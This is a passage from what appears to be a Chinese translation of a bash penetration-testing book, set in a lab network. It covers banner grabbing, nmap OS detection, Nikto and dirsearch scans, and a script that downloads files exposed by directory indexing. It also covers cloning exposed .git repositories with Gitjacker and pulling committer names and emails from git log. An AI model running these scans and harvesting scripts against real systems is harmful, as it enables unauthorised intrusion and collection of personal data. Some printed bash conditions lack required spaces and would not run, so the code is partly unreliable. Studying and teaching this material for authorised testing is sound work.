在 ❸ 处,我们检查用户提供的端口是否为数字。任何非数字的输入都将失败。然后,我们逐行读取主机文件并在每个 ❹ 处运行给定端口上的 nc (Netcat) 命令。我们使用另一个 if 条件来检查命令结果是否不为空 ❺,这意味着发现了开放的端口,并打印从服务器返回的 IP 地址和数据。
检测 HTTP 响应
生产系统上经常会出现流行的 curl HTTP 客户端。为了对 HTTP 响应执行横幅抓取,我们可以使用 curl 发送 HTTP 请求,使用 HEAD 方法。HEAD 方法允许我们读取响应头,而无需从 Web 服务器获取整个响应载荷。
Web 服务器通常通过将 Server HTTP 响应头设置为其名称来进行自我宣传。有时您可能还会在那里遇到宣传的运行版本。以下 curl 命令向 p-web-01 机器(172.16.10.10:8081)发送 HTTP HEAD 请求:
$ **curl --head 172.16.10.10:8081**
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.11.1
`--snip--`
Content-Length: 7176
Connection: close
正如你所见,服务器在响应中返回了一堆头信息,其中之一是 Server 头信息。这个头信息显示远程服务器正在运行一个名为 Werkzeug 版本 2.2.3 的基于 Python 的 Web 框架,由 Python 版本 3.11.1 驱动。
列表 4-12 将这个 curl 命令整合到一个更大的脚本中,使用 bash read 命令提示用户输入信息,然后向用户呈现一个横幅。
curl_banner _grab.sh
#!/bin/bash
DEFAULT_PORT="80"
❶ read -r -p "Type a target IP address: " ip
❷ read -r -p "Type a target port (default: 80): " port
❸ if [[-z "${ip}"]]; then
echo "You must provide an IP address."
exit 1
fi
❹ if [[-z "${port}"]]; then
echo "You did not provide a specific port, defaulting to ${DEFAULT_PORT}"
❺ port="${DEFAULT_PORT}"
fi
echo "Attempting to grab the Server header of ${ip}..."
❻ result=$(curl -s --head "${ip}:${port}" | grep Server | awk -F':' \
'{print $2}')
echo "Server header for ${ip} on port ${port} is: ${result}"
列表 4-12:从 Web 服务器提取服务器响应头
这个交互式脚本要求用户在命令行中提供有关目标的详细信息。首先,我们使用 read 命令提示用户输入 IP 地址,并将这个值分配给 ip_address 变量 ❶。然后,我们要求用户输入所需的端口号,并将其保存到 port 变量 ❷ 中。
在 ❸ 处,我们通过使用 -z 测试检查 ip_address 变量的长度是否为零,并在此条件为真时退出。接下来,我们对端口变量 ❹ 进行相同的检查。这次,如果用户没有提供端口,我们使用默认的 HTTP 端口 80 ❺。在 ❻ 处,我们将输出存储到 result 变量中。我们使用 grep 和 awk 解析 curl 的结果并提取 Server 头信息。
运行脚本,并在提示时提供 IP 地址 172.16.10.10 和端口 8081:
$ **./curl_banner_grab**
Type a target IP address: **172.16.10.10**
Type a target port (default: 80): **8081**
Attempting to grab the Server header of 172.16.10.10...
Server header for 172.16.10.10 on port 8081 is: Werkzeug/2.2.3 Python/3.11.1
正如你所见,脚本返回了从目标 IP 地址和端口获取的正确信息。如果我们在终端中没有指定端口,它会默认使用端口 80. 请注意,我们也可以使用 Netcat 发送 HTTP HEAD 请求,但了解多种实现给定任务的方法是很有用的。
使用 Nmap 脚本
Nmap 不仅仅是一个端口扫描器;我们可以将其转化为一个功能齐全的漏洞评估工具。Nmap 脚本引擎 (NSE) 允许渗透测试人员使用 Lua 语言编写脚本来扩展 Nmap 的功能。Nmap 预装了一些 Lua 脚本,正如你在这里所见:
$ **ls -l /usr/share/nmap/scripts**
-rw-r--r-- 1 root root 3901 Oct 6 10:43 acarsd-info.nse
-rw-r--r-- 1 root root 8749 Oct 6 10:43 address-info.nse
-rw-r--r-- 1 root root 3345 Oct 6 10:43 afp-brute.nse
-rw-r--r-- 1 root root 6463 Oct 6 10:43 afp-ls.nse
-rw-r--r-- 1 root root 3345 Oct 6 10:43 afp-brute.nse
-rw-r--r-- 1 root root 6463 Oct 6 10:43 afp-ls.nse
`--snip--`
banner.nse 脚本位于 /usr/share/nmap/scripts 文件夹中,允许你同时从多个主机抓取 banner。以下 bash 命令使用此脚本执行 banner 抓取和服务发现(-sV):
$ **nmap -sV --script=banner.nse -iL 172-16-10-hosts.txt**
Nmap scan report for 172.16.10.12
`--snip--`
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
`--snip--`
当 banner 抓取脚本找到一个 banner 时,包含该 banner 的输出行将以特殊的字符序列(|_)开头。我们可以过滤这个序列来提取 banner 信息,方法如下:
$ **nmap -sV --script=banner.nse -iL 172-16-10-hosts.txt | grep "|_banner\||_http-server-header"**
你可能注意到,在 172.16.10.10 的 8081 端口(p-web-01 机器)的情况下,Nmap 会做出如下回应:
PORT STATE SERVICE VERSION
8081/tcp open blackice-icecap?
| fingerprint-strings:
`--snip--`
blackice-icecap? 值表示 Nmap 无法明确发现服务的身份。但如果你仔细查看指纹 -strings 转储,你会看到一些与 HTTP 相关的信息,揭示了我们手动使用 curl 进行 banner 抓取时发现的相同响应头。具体来说,请注意 Werkzeug Web 服务器的 banner。稍微 Google 一下,你会发现这个服务器运行在 Flask 上,这是一个基于 Python 的 Web 框架。
操作系统检测
Nmap 还可以通过使用 TCP/IP 指纹识别 来猜测目标服务器的操作系统,这也是其操作系统检测扫描的一部分。此技术通过以不同方式构造数据包并分析返回的响应,识别操作系统 TCP/IP 堆栈的实现。每个操作系统(如 Linux、Windows 和 macOS)对 TCP/IP 堆栈的实现略有不同,Nmap 分析这些微妙的差异来识别运行的系统。在某些情况下,Nmap 还可能能够识别运行的内核版本。
要运行操作系统检测扫描,请在 Nmap 中使用 -O 标志。请注意,此扫描需要 sudo 权限:
$ **sudo nmap -O -iL 172-16-10-hosts.txt**
`--snip--`
21/tcp open ftp
80/tcp open http
MAC Address: 02:42:AC:10:0A:0B (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
让我们创建一个 bash 脚本,解析此输出并按 IP 地址和操作系统进行排序(Listing 4-13)。
os_detection.sh
#!/bin/bash
HOSTS="$*"
❶ if [["${EUID}" -ne 0]]; then
echo "The Nmap OS detection scan type (-O) requires root privileges."
exit 1
fi
❷ if [["$#" -eq 0]]; then
echo "You must pass an IP or an IP range"
exit 1
fi
echo "Running an OS Detection Scan against ${HOSTS}..."
❸ nmap_scan=$(sudo nmap -O ${HOSTS} -oG -)
❹ while read -r line; do
ip=$(echo "${line}" | awk '{print $2}')
os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g')
❺ if [[-n "${ip}"]] && [[-n "${os}"]]; then
echo "IP: ${ip} OS: ${os}"
fi
done <<< "${nmap_scan}"
Listing 4-13: 解析操作系统检测扫描
因为此扫描需要 root 权限,我们会检查有效用户的 ID ❶。如果用户 ID 不等于零,则退出,因为如果用户没有使用 root 权限,继续进行没有意义。然后我们检查用户是否在命令行中传递了目标主机 ❷。在 ❸,我们对这些目标运行 Nmap 操作系统检测扫描,并将其分配给 HOSTS 变量。
我们使用一个 while 循环 ❹ 遍历扫描结果,解析每一行,并将输出中的 IP 地址赋值给 ip 变量。然后我们再次解析该行,提取 Nmap 的操作系统信息。我们使用 sed 清理输出,使其仅显示操作系统信息,删除 Seq 字样后的所有内容。接下来,我们检查 ip 和 os 变量是否都已设置 ❺。如果都已设置,意味着我们已正确解析了输出,可以通过打印 IP 地址和操作系统类型来完成脚本。
为了理解我们为什么以这种方式解析输出,使用 grep、awk 和 sed,可以在一个单独的终端中运行以下命令:
$ **sudo nmap -O 172.16.10.0/24 -oG -**
`--snip--`
Host: 172.16.10.10 () Ports: 8081/open/tcp//blackice-icecap/// Ignored State: closed (999) OS:
Linux 4.15 - 5.6 Seq Index: 258 IP ID Seq: All zeros
`--snip--`
如你所见,输出是由空格分隔的。IP 地址位于第一个空格之后,操作系统类型位于 OS: 之后,但在 Seq 之前,这就是为什么我们需要提取这两个词之间的文本。你也可以用其他方法进行解析,比如使用正则表达式;这只是实现任务的一种方法。
使用以下命令保存并运行脚本:
$ **sudo ./os_detection.sh 172.16.10.0/24**
Running an OS Detection Scan against 172.16.10.0/24...
IP: 172.16.10.10 OS: Linux 4.15 - 5.6
IP: 172.16.10.11 OS: Linux 4.15 - 5.6
IP: 172.16.10.12 OS: Linux 4.15 - 5.6
IP: 172.16.10.13 OS: Linux 4.15 - 5.6
IP: 172.16.10.1 OS: Linux 2.6.32
到此为止,我们已经识别出几个 HTTP 服务器、一个 FTP 服务器和一个 SSH 服务器。接下来,我们仔细看看 HTTP 服务器。
网站分析与 JSON
让我们使用 WhatWeb 查看 172.16.10.0/24 网络中运行的 Web 应用程序的服务。我们将首先查看 172.16.10.10(p-web-01)上的 8081 端口:
$ **whatweb 172.16.10.10:8081**
http://172.16.10.10:8081 [200 OK] Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/2.3.7 Python/3.11.4], IP[172.16.10.10],
Python[3.11.4], Title[Menu], Werkzeug[2.3.7], X-UA-Compatible[ie=edge]
`--snip--`
WhatWeb 的输出默认打印到标准输出,内容由空格和逗号分隔。如你所见,它找到了关于此 Web 服务器运行技术的一些信息。
我们可以使用 awk 和 grep 等工具轻松解析此输出,但为了向你介绍一些新技巧,我们将探索如何解析 JavaScript 对象表示法(JSON) 输出。JSON 是由键和值组成的数据格式。为了解析它,使用像 jq 这样的工具来遍历 JSON 结构并提取我们需要的信息会非常有帮助。
WhatWeb 可以通过 --log-json 参数将输出格式化为 JSON,该参数需要传入一个文件名作为值。但如果我们想将输出发送到屏幕而不写入磁盘怎么办?我们可以将参数指定为 /dev/stdout 文件,强制它将输出发送到标准输出:
$ **whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq**
[
{
`--snip--`
"plugins": {
"Country": {
"string": [
"RESERVED"
],
"module": [
"ZZ"
]
},
"HTML5": {},
"HTTPServer": {
"string": [
"Werkzeug/2.3.7 Python/3.11.4"
]
},
"IP": {
"string": [
"172.16.10.10"
]
},
"Python": {
"version": [
"3.11.4"
]
},
"Title": {
"string": [
"Menu"
]
},
"Werkzeug": {
"version": [
"2.3.7"
]
},
"X-UA-Compatible": {
"string": [
"ie=edge"
]
}
}
}
]
`--snip--`
现在,输出被打印到标准输出,并以 JSON 格式显示。如你所见,我们获得的信息与运行基础的 whatweb 命令时得到的信息相同,只是没有特殊的格式。
输出是一个对象数组,我们可以使用像 jq 这样的工具来提取相关信息。例如,让我们提取 HTTPServer 的值:
$ **whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet |**
**jq '.[0].plugins.HTTPServer.string[0]'**
"Werkzeug/2.3.7 Python/3.11.4"
jq 语法刚开始可能看起来有点奇怪,我们来逐步解析它。我们将提取模式放在两个单引号(')之间。在这里,我们选择数组中的第一个元素(.[0]),该元素包含由键和值组成的各种对象。接着,我们选择 plugins 键,再选择 HTTPServer 键。在 HTTPServer 键内,有一个名为 string 的键,它是一个数组。我们使用 string[0] 来选择该数组中的第一个元素,它包含的值是 Werkzeug/2.3.7 Python/3.11.4。
同样地,我们可以提取 IP 地址。只需将 HTTPServer 键替换为 IP 键:
$ **whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq '.[0].plugins.IP.string[0]'**
"172.16.10.10"
继续运行 WhatWeb,检查我们已识别的每个 Web 服务器,查看它们运行的技术。
总结
在本章中,我们以多种方式运用了 bash。我们创建了动态目标主机列表;使用多种工具执行主机发现、端口扫描和横幅获取;创建了一个自动化脚本来通知我们新发现的主机;并解析了各种工具的结果。在下一章中,我们将对这些目标运行漏洞扫描器和模糊测试工具。
第五章:5 漏洞扫描与模糊测试

在第四章中,我们识别了网络上的主机和几个运行中的服务,包括 HTTP、FTP 和 SSH。每种协议都有我们可以执行的一组测试。在本章中,我们将使用专门的工具对已发现的服务进行测试,尽可能多地了解它们。
在此过程中,我们将使用 bash 运行安全测试工具,解析其输出,并编写自定义脚本,以便在多个 URL 上进行大规模的安全测试。我们将使用 ffuf 和 Wfuzz 等工具进行模糊测试,使用 Nuclei 模板系统编写自定义安全检查,从工具的输出中提取个人身份信息(PII),并创建我们自己的简易漏洞扫描器。
使用 Nikto 扫描网站
Nikto是 Kali 中可用的 Web 扫描工具。它执行横幅抓取并进行一些基本检查,以确定 Web 服务器是否使用安全头部来缓解已知的 Web 漏洞;这些漏洞包括跨站脚本攻击(XSS),这是一种针对 Web 浏览器的客户端注入漏洞,以及UI 重定向(也称为点击劫持),这是一种漏洞,允许攻击者在网页中使用诱饵层来劫持用户点击。安全头部指示浏览器在加载特定资源和打开 URL 时该如何处理,从而保护用户免受攻击。
在执行这些安全检查后,Nikto 还通过使用其内置的常见路径词典向服务器的可能端点发送请求。这些请求可以发现一些有趣的端点,对于渗透测试人员来说可能很有用。让我们使用 Nikto 对我们在 IP 地址 172.16.10.10(p-web-01)、172.16.10.11(p-ftp-01)和 172.16.10.12(p-web-02)上识别出的三个 Web 服务器进行基本的 Web 评估。
我们将针对我们发现开放的 Web 端口,对三个目标 IP 地址运行 Nikto 扫描。打开终端,依次运行以下命令,这样你可以逐一分析每个 IP 地址的输出结果:
$ **nikto -host 172.16.10.10 -port 8081**
$ **nikto -host 172.16.10.11 -port 80**
$ **nikto -host 172.16.10.12 -port 80**
172.16.10.10 在 8081 端口的输出应该不会提供太多关于发现端点的有趣信息,但它应该表明该服务器似乎没有经过加固,因为它没有使用安全头部:
+ Server: Werkzeug/2.2.3 Python/3.11.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user
agent to render the content of the site in a different fashion to the MIME
type
`--snip--`
+ Allowed HTTP Methods: OPTIONS, GET, HEAD
+ 7891 requests: 0 error(s) and 4 item(s) reported on remote host
Nikto 能够执行服务器的横幅抓取,这从以“Server”开头的行中可以看出。然后它列出了几个缺失的安全头部。这些是有用的信息,但还不足以完全接管服务器。
IP 地址 172.16.10.11 上的 80 端口应该会给出类似的结果,尽管 Nikto 还发现了一个新端点,/backup,并且启用了该目录的索引模式:
+ Server: Apache/2.4.55 (Ubuntu)
`--snip--`
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting...
目录索引 是一种服务器端设置,它会在缺少索引文件(如 index.html 或 index.php)时,列出位于某些网页路径下的文件。当启用时,目录索引设置会列出一个目录的内容。目录索引很有趣,因为它可能会暴露应用程序中的敏感文件,例如包含连接字符串的配置文件、地方数据库文件(如 SQLite 文件)以及其他环境文件。在 Kali 上打开浏览器,访问 http://172.16.10.11/backup,以查看此端点的内容(图 5-1)。

图 5-1:在 172.16.10.11/backup 上找到的目录索引
目录索引让你可以在浏览器中查看文件。你可以点击目录打开它们,点击文件下载它们,等等。在网页上,你应该能找到两个文件夹:acme-hyper-branding 和 acme-impact -alliance。acme-hyper-branding 文件夹似乎包含一个名为 app.py 的文件。点击它下载到 Kali 上,以便后续检查。
我们稍后会探索第三个 IP 地址,但首先让我们利用 bash 自动化来利用目录索引。
构建一个目录索引扫描器
如果我们想要对一组 URL 进行扫描,以检查它们是否启用了目录索引,并下载它们提供的所有文件,该怎么做呢?在 列表 5-1 中,我们使用 bash 执行这样的任务。
directory _indexing _scanner.sh
#!/bin/bash
FILE="${1}"
OUTPUT_FOLDER="${2}"
❶ if [[! -s "${FILE}"]]; then
echo "You must provide a non-empty hosts file as an argument."
exit 1
fi
if [[-z "${OUTPUT_FOLDER}"]]; then
❷ OUTPUT_FOLDER="data"
fi
while read -r line; do
❸ url=$(echo "${line}" | xargs)
if [[-n "${url}"]]; then
echo "Testing ${url} for Directory indexing..."
❹ if curl -L -s "${url}" | grep -q -e "Index of /" -e "[PARENTDIR]"; then
echo -e "\t -!- Found Directory Indexing page at ${url}"
echo -e "\t -!- Downloading to the \"${OUTPUT_FOLDER}\" folder..."
mkdir -p "${OUTPUT_FOLDER}"
❺ wget -q -r -np -R "index.html*" "${url}" -P "${OUTPUT_FOLDER}"
fi
fi
done < <(cat "${FILE}")
列表 5-1:自动下载通过目录索引提供的文件
在这个脚本中,我们定义了 FILE 和 OUTPUT_FOLDER 变量。它们的赋值来自用户在命令行上传递的参数($1 和 $2)。如果 FILE 变量不是文件类型或文件长度为零(-s)❶,我们就会失败并退出脚本(exit 1)。如果文件的长度为零,意味着文件为空。
然后我们使用 while 循环读取分配给 FILE 变量的路径下的文件。在 ❸ 处,我们确保通过将其传递给 xargs 命令,移除文件中每一行的所有空白字符。在 ❹ 处,我们使用 curl 发起一个 HTTP GET 请求,并跟踪任何 HTTP 重定向(使用 -L)。我们通过加上 -s 参数让 curl 静默输出详细信息,并将结果传递给 grep,以查找字符串 Index of / 和 [PARENTDIR] 的出现。这两个字符串存在于目录索引页面中。你可以通过查看 http://172.16.10.11/backup 的源 HTML 页面来验证这一点。
如果我们找到任一字符串,我们会调用 wget 命令 ❺,并加上静默选项 (-q) 来抑制详细输出,递归选项 (-r) 用于递归下载文件,禁止父目录选项 (-np) 确保我们只下载与当前目录同级或更低层次的文件(子文件夹),以及拒绝选项 (-R) 用于排除以 index.html 开头的文件。然后我们使用目标文件夹选项 (-P) 将内容下载到用户调用脚本时指定的路径(OUTPUT_FOLDER 变量)。如果用户没有提供目标文件夹,脚本将默认使用 data 文件夹 ❷。
注意
你可以从以下链接下载本章的脚本 github.com/dolevf/Black-Hat-Bash/blob/master/ch05。
我们下载的 acme-impact-alliance 文件夹似乎是空的。但真的是空的吗?在处理 Web 服务器时,你可能会遇到看似死胡同的情况,但最终会发现有东西隐藏在那里,只是没有在明显的地方。暂时记下这个空文件夹;稍后我们将继续这个探索。
识别可疑的 robots.txt 条目
在扫描完第三个 IP 地址 172.16.10.12(p-web-02)后,Nikto 输出如下内容:
+ Server: Apache/2.4.54 (Debian)
+ Retrieved x-powered-by header: PHP/8.0.28
`--snip--`
+ Uncommon header 'link' found, with contents: <http://172.16.10.12/wp-json/>;
rel="https://api.w.org/"
`--snip--`
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP
code (302)
+ Entry '/donate.php' in robots.txt returned a non-forbidden or redirect HTTP
code (200)
+ "robots.txt" contains 17 entries which should be manually viewed.
+ /wp-login.php: Wordpress login found
`--snip--`
这次 Nikto 能发现更多信息了!它捕获了缺失的安全头(不幸的是,这在野外是非常常见的)。接下来,Nikto 发现服务器正在运行 Apache 和 Debian,并且它是由 PHP 支持的,PHP 是一种常用于 Web 应用程序中的后端编程语言。
它还发现了一个不常见的链接,指向 http://172.16.10.12/wp-json,并在 robots.txt 文件中发现了两个可疑条目——即 /wp-admin/ 和 /donate.php。robots.txt 文件是一个特殊文件,用于指示网络爬虫(例如 Google 搜索引擎)哪些端点应该被索引,哪些应该被忽略。Nikto 提示 robots.txt 文件可能包含比这两个条目更多的内容,并建议我们手动检查。
最后,它还识别出了另一个端点 /wp-login.php,这是一个用于 WordPress 博客平台的登录页面。访问主页面 http://172.16.10.12/ 来确认你已经识别出一个博客。
在渗透测试中,发现这些未索引的端点是非常有用的,因为你可以将它们添加到可能的目标列表中进行测试。当你打开这个文件时,你应该会注意到一系列路径:
User-agent: *
Disallow: /cgi-bin/
Disallow: /z/j/
Disallow: /z/c/
Disallow: /stats/
`--snip--`
Disallow: /manual/*
Disallow: /phpmanual/
Disallow: /category/
Disallow: /donate.php
Disallow: /amount_to_donate.txt
我们之前识别了一些这些端点(例如 /donate.php 和 /wp-admin),但有些端点在使用 Nikto 扫描时没有看到。在练习 5 中,你将使用 bash 自动化探索这些端点。
练习 5:探索未索引的端点
Nikto 扫描返回了一个非索引的端点列表。在这个练习中,你将使用 bash 脚本来查看这些端点是否真的存在于服务器上。编写一个脚本,通过 HTTP 请求访问robots.txt,返回响应并逐行遍历,解析输出以提取路径。然后,脚本应该向每个路径发出额外的 HTTP 请求,并检查返回的状态码。
列表 5-2 是一个示例脚本,可以帮助你入门。它依赖于一个非常有用的 curl 功能,这个功能在 bash 脚本中非常实用:内置变量,可以用来提取 HTTP 请求和响应中的特定值,例如发送请求的大小(%{size_request})和返回的头部大小(%{size_header})。
curl_fetch _robots_txt.sh
#!/bin/bash
TARGET_URL="http://172.16.10.12"
ROBOTS_FILE="robots.txt"
❶ while read -r line; do
❷ path=$(echo "${line}" | awk -F'Disallow: ' '{print $2}')
❸ if [[-n "${path}"]]; then
url="${TARGET_URL}${path}"
status_code=$(curl -s -o /dev/null -w "%{http_code}" "${url}")
echo "URL: ${url} returned a status code of: ${status_code}"
fi
❹ done < <(curl -s "${TARGET_URL}/${ROBOTS_FILE}")
列表 5-2:读取 robots.txt 并向各个路径发出请求
在❶处,我们逐行读取 curl 命令在❹行中的输出。该命令向http://172.16.10.12/robots.txt发出 HTTP GET 请求。然后我们解析每一行并提取第二个字段(它由空格与其他字段分隔),提取路径并将其赋值给路径变量❷。我们检查路径变量的长度是否大于零,以确保我们能够正确解析它❸。
然后我们创建一个 url 变量,它是由 TARGET_URL 变量加上robots.txt文件中的每个路径拼接而成的字符串,并向该 URL 发出 HTTP 请求。我们使用-w(write-out)变量%{http_code}来仅提取 Web 服务器返回的状态码。
要进一步扩展这个脚本,试试使用其他 curl 变量。你可以在curl.se/docs/manpage.html中找到完整的变量列表,或者通过运行 man curl 命令来查看。
使用 dirsearch 进行目录暴力破解
dirsearch是一个快速的目录暴力破解工具,用于查找 Web 服务器上的隐藏路径和文件。它由 Mauro Soria 用 Python 编写,提供了诸如内置 Web 目录字典、自定义字典选项和高级响应过滤等功能。我们将使用它来尝试识别额外的攻击向量,并验证 Nikto 是否遗漏了任何明显的内容。
首先,让我们重新扫描p-web-01(172.16.10.10)的 8081 端口,Nikto 扫描时未发现任何端点。以下 dirsearch 命令使用-u(URL)选项来指定一个起始爬行的基本 URL:
$ **dirsearch -u http://172.16.10.10:8081/**
`--snip--`
Target: http://172.16.10.10:8081/
[00:14:55] Starting:
[00:15:32] 200 - 371B - /upload
[00:15:35] 200 - 44B - /uploads
太棒了!这个工具成功地识别出了两个先前未知的端点,分别是/upload和/uploads。这就是为什么使用多个工具并手动验证结果非常重要,必须进行双重和三重检查;因为工具有时会产生假阳性或使用有限的路径列表数据库。如果你访问/upload页面,你应该能看到一个文件上传表单。记住这个端点,因为我们将在第六章中进行测试。
我们还可以使用 dirsearch 来寻找看起来像是空文件夹的攻击向量,位于p-ftp-01,网址为http://172.16.10.11/backup/acme-impact-alliance:
$ **dirsearch -u http://172.16.10.11/backup/acme-impact-alliance/**
`--snip--`
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Target: http://172.16.10.11/backup/acme-impact-alliance/
`--snip--`
[22:49:53] Starting:
[22:49:53] 301 - 337B - /backup/acme-impact-alliance/js -> http://172.16.10.11/backup/
acme-impact-alliance/js/
[22:49:53] 301 - 339B - /backup/acme-impact-alliance/.git -> http://172.16.10.11/backup/
acme-impact-alliance/.git/
`--snip--`
[22:49:53] 200 - 92B - /backup/acme-impact-alliance/.git/config
`--snip--`
dirsearch 检查从 Web 服务器返回的响应,以识别可能表明资产存在的有趣行为。例如,工具可能会注意到某个 URL 是否重定向到新位置(由 HTTP 状态码 301 指定)以及响应的字节数。有时你可以仅通过检查这些数据来推断信息并观察行为。
这次,我们发现了一个名为.git的子文件夹,位于acme-impact-alliance文件夹内。一个名为.git的文件夹通常表示服务器上存在 Git 仓库。Git 是一个源代码管理工具,在这种情况下,它可能管理着运行在远程服务器上的本地代码。
再次使用 dirsearch 对第二个目录/backup/acme-hyper-branding进行暴力破解。将结果保存到自己的文件夹中,然后检查它们。你应该也能在那儿找到一个 Git 仓库。
探索 Git 仓库
当你找到一个 Git 仓库时,通常使用一个专门的 Git 克隆工具来拉取仓库及其所有关联的元数据,这样你就可以在本地检查它。对于这项任务,我们将使用 Gitjacker。
克隆仓库
Gitjacker 的命令非常简单。第一个参数是一个 URL,-o(输出)参数则接受一个文件夹名称,如果 Gitjacker 成功拉取仓库,数据将保存在该文件夹中:
$ **gitjacker http://172.16.10.11/backup/acme-impact-alliance/ -o acme-impact-alliance-git**
`--snip--`
Target: http://172.16.10.11/backup/acme-impact-alliance/
Output Dir: acme-impact-alliance-git
Operation complete.
Status: Success
Retrieved Objects: 3242
`--snip--`
如你所见,工具返回了成功的状态和几千个对象。此时,你应该有一个名为acme-impact-alliance-git的文件夹:
$ **ls -la ./acme-impact-alliance-git**
`--snip--`
128 -rw-r--r-- 1 kali kali 127309 Mar 17 23:15 comment.php
96 -rw-r--r-- 1 kali kali 96284 Mar 17 23:15 comment-template.php
16 -rw-r--r-- 1 kali kali 15006 Mar 17 23:15 compat.php
4 drwxr-xr-x 2 kali kali 4096 Mar 17 23:15 customize
`--snip--`
12 -rw-r--r-- 1 kali kali 10707 Mar 17 23:15 customize.php
4 -rw-r--r-- 1 kali kali 705 Mar 17 23:15 **donate.php**
4 -rw-r--r-- 1 kali kali 355 Mar 17 23:15 **robots.txt**
`--snip--`
注意到列表中有一些熟悉的文件名吗?我们之前在扫描 172.16.10.12 (p-web-02) 主机时,看到过donate.php和robots.txt。
使用 git log 查看提交
当你遇到一个 Git 仓库时,你应该尝试运行 git log 命令,查看对仓库做出的 Git 代码提交历史,因为这些提交可能包含我们作为攻击者可以利用的有趣数据。在源代码管理中,commit 是在代码推送到主仓库并使其永久化之前,代码状态的一个快照。提交信息可能包括关于谁进行了提交以及变更描述(例如,是否是代码的添加或删除)的细节:
$ **cd acme-impact-alliance-git**
$ **git log**
commit 3822fd7a063f3890e78051e56bd280f00cc4180c (HEAD -> master)
Author: Kevin Peterson <kpeterson@acme-impact-alliance.com>
`--snip--`
commit code
我们已经识别出一个向 Git 仓库提交代码的人:Kevin Peterson,邮箱为kpeterson@acme-impact-alliance.com。请注意这些信息,因为该账户可能在渗透测试过程中发现的其他地方也存在。
尝试再次运行 Gitjacker 来劫持位于第二个文件夹/backup/acme-hyper-branding中的 Git 仓库。然后执行另一个 git log 命令,查看是谁向该仓库提交了代码,就像我们之前做的那样。日志应该揭示第二个人的身份:Melissa Rogers,邮箱为mrogers@acme-hyper-branding.com。
你有时可能会遇到有许多贡献者和提交的 Git 仓库。我们可以使用 Git 的内置--pretty=format 选项轻松提取所有这些元数据,如下所示:
$ **git log --pretty=format:"%an %ae"**
%ae(作者名称)和%ae(电子邮件)字段是 Git 中的内置占位符,允许你指定需要包含在输出中的有用值。有关所有可用变量的列表,请参见git-scm.com/docs/pretty-formats#_pretty_formats。
过滤 git log 信息
即使没有漂亮的格式,bash 也可以通过一行命令过滤 git log 输出:
$ **git log | grep Author | grep -oP '(?<=Author:).*' | sort -u | tr -d '<>'**
这段 bash 代码运行 git log,使用 grep 查找以“Author”开头的行,然后将结果传输到另一个 grep 命令,该命令使用正则表达式(-oP)过滤出“Author:”之后的内容,并仅打印匹配的单词。这个过滤过程会留下 Git 提交的作者姓名和电子邮件。
因为同一个作者可能进行了多个提交,所以我们使用 sort 对列表进行排序,并使用-u 选项去除任何重复的行,从而得到一个没有重复条目的列表。最后,由于电子邮件默认被<>字符包围,我们通过使用 tr -d '<>'来去除这些字符。
检查仓库文件
仓库包含一个名为app.py的文件。让我们通过文本编辑器查看它的内容。你应该能看到这个文件包含了使用 Python 的 Flask 库编写的 Web 服务器代码:
import os, subprocess
from flask import (
Flask,
send_from_directory,
send_file,
render_template,
request
)
@app.route('**/**')
`--snip--`
@app.route('**/files/<path:path>**')
`--snip--`
@app.route('**/upload**', methods = ['GET', 'POST'])
`--snip--`
@app.route('**/uploads**', methods=['GET'])
`--snip--`
@app.route('**/uploads/<path:file_name>**', methods=['GET'])
`--snip--`
这里有趣的部分是通过@app.route()暴露的端点。你可以看到应用程序暴露了如/*、/files、/upload和/uploads*等端点。
当我们使用 dirsearch 和 Nikto 扫描目标 IP 地址范围时,我们在p-web-01(172.16.10.10:8081)上看到了两个端点,分别是/upload和/uploads。因为这个 Python 文件包含了相同的端点,所以这个源代码很可能属于服务器上运行的应用程序。
你可能会问,为什么我们没有在扫描中找到/files端点。实际上,Web 扫描器通常依赖 Web 服务器返回的响应状态码来判断某些端点是否存在。如果你运行以下带有-I(HEAD 请求)选项的 curl 命令,你将看到/files端点返回 HTTP 状态码 404 Not Found:
$ **curl -I http://172.16.10.10:8081/files**
HTTP/1.1 404 NOT FOUND
`--snip--`
Web 扫描器将这些 404 错误解释为指示某个端点不存在。然而,我们在这里得到 404 错误的原因是,当直接调用时,/files并不处理任何请求。相反,它处理的是以/files为前缀的 Web 路径请求,例如/files/abc.jpg或/files/salary.docx。
使用 Nuclei 进行漏洞扫描
Nuclei是近年来发布的最令人印象深刻的开源漏洞扫描器之一。它相对于其他工具的优势在于其由社区驱动的模板系统,通过将已知模式与来自网络服务和文件的响应进行匹配,从而减少误报。它还降低了编写漏洞检查的门槛,因为它不要求学习如何编写代码。您还可以轻松扩展它来执行自定义安全检查。
Nuclei 天然支持常见的网络服务,如 HTTP、DNS 和网络套接字,以及本地文件扫描。您可以使用它发送 HTTP 请求、DNS 查询和原始字节数据。Nuclei 甚至可以扫描文件以查找凭证(例如,当您发现一个开放的 Git 仓库,并希望将其拉取到本地以查找机密信息时)。
截至本文写作时,Nuclei 的数据库中已有超过 8,000 个模板。在本节中,我们将介绍 Nuclei 及其使用方法。
理解模板
Nuclei 模板基于 YAML 文件,具有以下高级结构:
ID 模板的唯一标识符
元数据 有关模板的信息,如描述、作者、严重性和标签(可用于分组多个模板的任意标签,例如 注入 或 拒绝服务)
协议 模板用于发起请求的机制;例如,http 是一个使用 HTTP 进行 Web 请求的协议类型
操作符 用于将模式与模板执行时收到的响应进行匹配(匹配器)并提取数据(提取器),类似于 grep 等工具执行的过滤操作
